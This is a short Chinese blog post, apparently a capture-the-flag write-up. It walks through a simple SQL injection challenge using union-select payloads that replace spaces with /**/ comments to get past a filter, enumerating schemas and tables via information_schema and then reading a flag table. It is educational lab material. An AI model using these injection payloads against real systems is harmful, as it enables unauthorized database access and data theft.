ctf简单的SQL注入（1）

原创

wuerror 于 2018-07-14 20:31:28 发布 1970 收藏
分类专栏： ctf 文章标签： ctf

ctf注入套路（一）：从系统内置的库来找到flag所在的表。

例子：点击打开链接（实验吧简单的SQL注入之2,1也是同样的套路）

先输入1，再输入1'，页面报语法错误，再输入1 '页面出现SQLi detected!，推出空格被它过滤。用/**/来代替空格。

输入

```
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1
```

接下来查表名:

```
1‘/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1
```

找到有一个flag表，直接查询内容

```
1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1
```